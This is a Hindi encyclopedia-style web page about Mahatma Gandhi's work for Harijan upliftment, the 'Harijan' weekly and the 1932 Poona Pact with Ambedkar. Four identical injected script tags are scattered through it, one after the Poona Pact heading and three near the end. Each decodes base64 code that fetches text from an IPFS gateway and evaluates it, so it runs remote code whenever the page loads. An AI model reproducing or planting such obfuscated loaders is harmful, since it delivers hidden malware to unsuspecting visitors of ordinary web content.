एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

महात्मा गाँधी और हरिजन उत्थान

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

गाँधी जी ने हरिजन उत्थान के लिए अपना बहुमूल्य योगदान दिया। प्रसिद्ध 'पूना समझौते' के बाद गाँधी जी ने अपने आपको पूरी तरह से हरिजनों की सेवा में समर्पित कर दिया। जेल से छूटने के बाद उन्होंने 1932 ई. में 'अखिल भारतीय छुआछूत विरोधी लीग' की स्थापना की।

गाँधी जी का कथन

अन्य शुद्धि के लिए उपवास के दौरान गाँधी जी ने कहा कि "या तो छुआछूत को जड़ से समाप्त करो या मुझे अपने बीच से हटा दो। यह मेरी अंतरात्मा की पुकार है, चेतना का निर्देश है।" जनवरी 1933 ई. में गाँधी जी ने 'हरिजन' नामक साप्ताहिक पत्र का भी प्रकाशन किया। उन्हें एम.सी. राजा जैसे हरिजनों का समर्थन प्राप्त था। उन्होंने हरिजनों के लिए जगहों के आरक्षण के साथ एक ही निर्वाचक मण्डल की इच्छा ज़ाहिर की। लेकिन अम्बेडकर के नेतृत्व ने इसी स्वीकार नहीं किया। अम्बेडकर ने ऐसी प्रणाली को मानने से इंकार कर दिया, जिनमें हरिजनों को हिन्दू तो कहा जाता था, किन्तु उन्हें अस्पृश्य माना जाता था।

पूना समझौता

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अनशन के कारण गाँधी जी का स्वास्थ्य काफ़ी तेज़ी से गिरने लगा था। मदन मोहन मालवीय, डॉक्टर राजेन्द्र प्रसाद, पुरुषोत्तम दास टंडन, सी. राजगोपालाचारी आदि के प्रयासों से गाँधी जी और अम्बेडकर के मध्य 26 सितम्बर, 1932 ई. को एक समझौता हुआ जिसे 'पूना समझौता' के नाम से जाना जाता है। समझौते के अन्तर्गत अम्बेडकर ने हरिजनों के पृथक् प्रतिनिधित्व की मांग को वापस ले लिया। संयुक्त निर्वाचन के सिद्धान्त को भी स्वीकार कर लिया गया। साथ ही हरिजनों के लिए सुरक्षित 75 स्थानों को बढ़ाकर 148 कर दिया गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>